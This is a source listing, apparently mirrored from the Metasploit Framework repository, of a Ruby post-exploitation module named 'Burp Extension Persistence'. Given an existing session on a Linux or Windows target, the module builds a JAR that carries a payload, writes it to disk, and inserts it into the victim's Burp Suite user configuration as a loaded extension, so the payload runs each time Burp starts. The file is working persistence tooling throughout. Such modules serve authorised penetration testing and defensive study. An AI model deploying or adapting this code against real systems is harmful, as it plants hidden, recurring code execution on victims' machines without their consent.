Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/persistence/burp_extension.rb
31151 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
#
6
require 'open3'
7
8
class MetasploitModule < Msf::Exploit::Local
9
Rank = ExcellentRanking
10
11
include Msf::Post::File
12
include Msf::Post::Unix # whoami
13
include Msf::Auxiliary::Report
14
include Msf::Exploit::FileDropper
15
prepend Msf::Exploit::Remote::AutoCheck
16
include Msf::Post::Windows::Registry
17
include Msf::Exploit::Local::Persistence
18
19
def initialize(info = {})
20
super(
21
update_info(
22
info,
23
'Name' => 'Burp Extension Persistence',
24
'Description' => %q{
25
This module adds a java based malicious extension to the Burp Suite configuration file.
26
When burp is opened, the extension will be loaded and the payload will be executed.
27
28
Tested against Burp Suite Community Edition v2024.9.4, on Ubuntu Desktop 24.04.
29
Tested against Burp Suite Community Edition v2025.12.3 on Windows 10.
30
},
31
'License' => MSF_LICENSE,
32
'Author' => [
33
'h00die' # Module
34
],
35
'DisclosureDate' => '2025-01-01',
36
'SessionTypes' => [ 'shell', 'meterpreter' ],
37
'Privileged' => false,
38
'References' => [
39
[ 'URL', 'https://portswigger.net/burp/documentation/desktop/extensions/creating' ],
40
[ 'URL', 'https://portswigger.net/burp/documentation/desktop/troubleshooting/launch-from-command-line' ]
41
],
42
'DefaultOptions' => {
43
'PrependMigrate' => true
44
},
45
'Targets' => [
46
[
47
'Java', {
48
'Platform' => 'java', 'Arch' => [ARCH_JAVA]
49
}
50
],
51
['Linux', { 'Platform' => 'unix', 'Arch' => [ARCH_CMD] } ],
52
[
53
'Windows', { 'Platform' => 'windows', 'Arch' => [ARCH_CMD] }, {
54
'Payload' =>
55
{ 'Space' => 8_191 - 'cmd.exe /c '.length }
56
}
57
],
58
],
59
'Actions' => [
60
['precompiled', { 'Description' => 'Use pre-compiled bytecode' }],
61
['build', { 'Description' => 'Build the extension locally with Gradle' }]
62
],
63
'DefaultAction' => 'precompiled',
64
'Notes' => {
65
'Reliability' => [ REPEATABLE_SESSION ],
66
'Stability' => [ CRASH_SAFE ],
67
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]
68
},
69
'DefaultTarget' => 0
70
)
71
)
72
73
register_options([
74
OptString.new('NAME', [ false, 'Name of the extension', '' ]),
75
OptString.new('CONFIG_FILE', [ false, 'Config file location on target', '' ]),
76
OptString.new('BURP_JAR', [ false, 'Location of Burp JAR file', '' ])
77
])
78
register_advanced_options([
79
OptString.new('GRADLE', [ false, 'Local Gradle executable', '/usr/bin/gradle' ]),
80
])
81
end
82
83
def extension_name_generator
84
return datastore['NAME'] unless datastore['NAME'].blank?
85
86
rand_text_alphanumeric(4..10)
87
end
88
89
def window_target?
90
['windows', 'win'].include? session.platform
91
end
92
93
def get_home
94
return cmd_exec('cmd /c echo %USERPROFILE%').strip if window_target?
95
96
return cmd_exec('echo ~').strip
97
end
98
99
def writable_dir
100
d = super
101
return session.sys.config.getenv(d) if d.start_with?('%')
102
103
d
104
end
105
106
def get_userconfig_path
107
unless datastore['CONFIG_FILE'].blank?
108
return nil unless file?(datastore['CONFIG_FILE'])
109
110
return datastore['CONFIG_FILE']
111
end
112
113
home_path = get_home
114
vprint_status("Home path detected as: #{home_path}")
115
116
path = (window_target?) ? home_path + '\\AppData\\Roaming\\Burpsuite\\' : home_path + '/.BurpSuite/'
117
if file?(path + 'UserConfigPro.json')
118
@pro = true
119
return path + 'UserConfigPro.json'
120
end
121
return path + 'UserConfigCommunity.json' if file?(path + 'UserConfigCommunity.json')
122
end
123
124
def get_burp_executable
125
if !datastore['BURP_JAR'].blank?
126
return nil unless file?(datastore['BURP_JAR'])
127
128
return datastore['BURP_JAR']
129
end
130
131
home_path = get_home
132
133
if @pro
134
burp_exec_path = (window_target?) ? home_path + '\\AppData\\Local\\BurpSuitePro\\burpsuite_pro.jar' : home_path + '/BurpSuitePro/burpsuite_pro.jar'
135
return burp_exec_path if file?(burp_exec_path)
136
end
137
burp_exec_path = (window_target?) ? home_path + '\\AppData\\Local\\BurpSuiteCommunity\\burpsuite_community.jar' : home_path + '/BurpSuiteCommunity/burpsuite_community.jar'
138
return burp_exec_path if file?(burp_exec_path)
139
end
140
141
def modify_user_config(extension_location, extension_name)
142
user_config = read_file(@userconfig_path)
143
144
path = store_loot('burp.config.json', 'application/json', session, user_config, nil, nil)
145
print_good("Config file saved in: #{path}")
146
user_config_json = JSON.parse(user_config)
147
extensions_config = user_config_json.dig('user_options', 'extender', 'extensions')
148
149
fail_with Failure::PayloadFailed, 'Failed to get extension configuration' unless extensions_config
150
151
malicious_extension = {
152
'errors' => 'ui',
153
'extension_file' => extension_location,
154
'extension_type' => 'java',
155
'loaded' => true,
156
'name' => extension_name,
157
'output' => 'ui',
158
'use_ai' => false
159
}
160
extensions_config.unshift(malicious_extension)
161
user_config_json['user_options']['extender']['extensions'] = extensions_config
162
163
fail_with Failure::PayloadFailed, 'Module failed to overwrite UserConfig file' unless write_file(@userconfig_path, JSON.generate(user_config_json))
164
@clean_up_rc << "upload #{path} #{@userconfig_path}\n"
165
end
166
167
def check
168
if action.name == 'build'
169
if File.exist?(datastore['GRADLE'])
170
vprint_good('Gradle found')
171
else
172
print_warning('Gradle is required on the local computer running metasploit, please install it or use precompiled action')
173
end
174
end
175
176
@userconfig_path = get_userconfig_path
177
CheckCode::Safe("Config file not found: #{datastore['config']}") if @userconfig_path.nil?
178
CheckCode::Detected("Found UserConfig file #{@userconfig_path}")
179
end
180
181
def add_extension(settings_file, extension_location, extension_name)
182
# open file
183
config_contents = read_file(settings_file)
184
# store as loot for backup purposes
185
path = store_loot('burp.config.json', 'application/json', session, config_contents, nil, nil)
186
print_good("Config file saved in: #{path}")
187
# read json
188
begin
189
config_contents = JSON.parse(config_contents)
190
rescue JSON::ParserError
191
fail_with(Failure::Unknown, "Failed to parse json config file: #{settings_file}")
192
end
193
malicious_extension = {
194
'errors' => 'ui',
195
'extension_file' => extension_location,
196
'extension_type' => 'java',
197
'loaded' => true,
198
'name' => extension_name,
199
'output' => 'ui'
200
}
201
begin
202
config_contents['user_options']['extender']['extensions'] << malicious_extension
203
rescue NoMethodError
204
fail_with(Failure::NotFound, "Failed to find 'user_options' in config file: #{settings_file}, likely a project settings file, not a user one.")
205
end
206
# write json
207
write_file(settings_file, JSON.pretty_generate(config_contents, { 'space' => '', 'indent' => ' ' * 4 }))
208
end
209
210
def run_local_gradle_build(extension_name)
211
# Check if gradle is installed
212
fail_with(Failure::NotFound, 'Gradle is not installed on the local system.') unless File.exist?(datastore['GRADLE'])
213
214
# Define source and destination directories
215
src_dir = File.join(Msf::Config.data_directory, 'exploits', 'burp_extension')
216
temp_dir = Dir.mktmpdir
217
218
# Copy necessary files to the temporary directory
219
FileUtils.cp_r(File.join(src_dir, 'src'), temp_dir)
220
FileUtils.cp(File.join(src_dir, 'settings.gradle'), temp_dir)
221
FileUtils.cp(File.join(src_dir, 'build.gradle'), temp_dir)
222
223
# Modify name.txt with the new extension name
224
java_file = File.join(temp_dir, 'src', 'main', 'resources', 'name.txt')
225
File.open(java_file, 'wb') { |file| file.puts extension_name }
226
227
if target.name == 'Java'
228
# delete the /src/main/resources/command.txt file copied over in the cp_r as its not needed
229
File.delete(File.join(temp_dir, 'src', 'main', 'resources', 'command.txt'))
230
java_file = File.join(temp_dir, 'src', 'main', 'resources', 'burp_extension_pload.jar')
231
payload_jar = generate_payload.encoded_jar(main_class: 'burp_extension_pload')
232
File.open(java_file, 'wb') { |file| file.puts payload_jar.pack }
233
else
234
# Modify command.txt where we put our payload command
235
java_file = File.join(temp_dir, 'src', 'main', 'resources', 'command.txt')
236
File.open(java_file, 'wb') { |file| file.puts payload.encoded }
237
end
238
239
# Run gradle clean build
240
vprint_status("Building Burp extension jar file locally in #{temp_dir}")
241
Dir.chdir(temp_dir) do
242
IO.popen([datastore['GRADLE'], 'clean', 'build']) do |stdout|
243
stdout.each_line { |line| vprint_line line }
244
end
245
end
246
247
# Check if the jar file was created
248
jar_file = File.join(temp_dir, 'build', 'libs', 'MetasploitPayloadExtension.jar')
249
fail_with(Failure::NotFound, 'Failed to build burp extension') unless File.exist?(jar_file)
250
print_good("Successfully built the jar file #{jar_file}")
251
252
File.read(jar_file)
253
end
254
255
def compiled_extension(extension_name)
256
# see data/exploits/burp_extension/notes.txt on how to get this content
257
burp_extension_class = File.read(File.join(
258
Msf::Config.data_directory, 'exploits', 'burp_extension', 'precompiled.class'
259
))
260
261
jar = Rex::Zip::Jar.new
262
# build our manifest manually because its only one line and we don't need the extra
263
# ones that metasploit's build_manifest adds. This more closely implements the gradle build command
264
jar.add_file('META-INF/', '')
265
jar.add_file('META-INF/MANIFEST.MF', "Manifest-Version: 1.0\r\n\r\n")
266
jar.add_file('burp/', '')
267
jar.add_file('burp/BurpExtender.class', burp_extension_class)
268
if target.name == 'Java'
269
jar.add_file('burp_extension_pload.jar', generate_payload.encoded_jar(main_class: 'burp_extension_pload').pack)
270
else
271
jar.add_file('command.txt', payload.encoded)
272
end
273
jar.add_file('name.txt', extension_name)
274
275
jar
276
end
277
278
def install_persistence
279
fail_with(Failure::BadConfig, 'WritableDir can not be blank') if writable_dir.empty?
280
281
# RuntimeError `writable?' method does not support Windows systems
282
if !window_target? && !writable?(writable_dir)
283
fail_with(Failure::NotFound, "Unable to write to WritableDir: #{writable_dir}")
284
end
285
# get UserConfig file path
286
unless @userconfig_path
287
get_userconfig_path
288
end
289
290
if @userconfig_path.nil?
291
fail_with(Failure::NotFound, 'User does not have a UserConfig file, likely Burp was installed but never run')
292
end
293
vprint_status("Burp UserConfig file: #{@userconfig_path}")
294
295
# get Burp executable
296
burp_path = get_burp_executable
297
298
fail_with Failure::NotFound, 'Burp JAR file was not found' unless burp_path
299
300
vprint_status("Burp JAR file: #{burp_path}")
301
302
# create extension
303
print_status('Creating extension')
304
extension_name = extension_name_generator
305
print_status("Using extension name: #{extension_name}")
306
if window_target?
307
extension_location = "#{writable_dir}\\#{extension_name}.jar"
308
else
309
extension_location = "#{writable_dir}/#{extension_name}.jar"
310
end
311
vprint_status('Creating JAR file')
312
313
case action.name
314
when 'build'
315
jar = run_local_gradle_build(extension_name)
316
when 'precompiled'
317
jar = compiled_extension(extension_name)
318
end
319
320
# store extension on target's machine
321
vprint_status("Writing malicious extension to disk: #{extension_location}")
322
323
fail_with Failure::PayloadFailed, 'Failed to write malicious extension' unless write_file(extension_location, jar)
324
@clean_up_rc << "rm #{extension_location}\n"
325
# overwrite configuration
326
vprint_status('Modifying Burp configuration and adding malicious extension')
327
modify_user_config(extension_location, extension_name)
328
end
329
end
330
331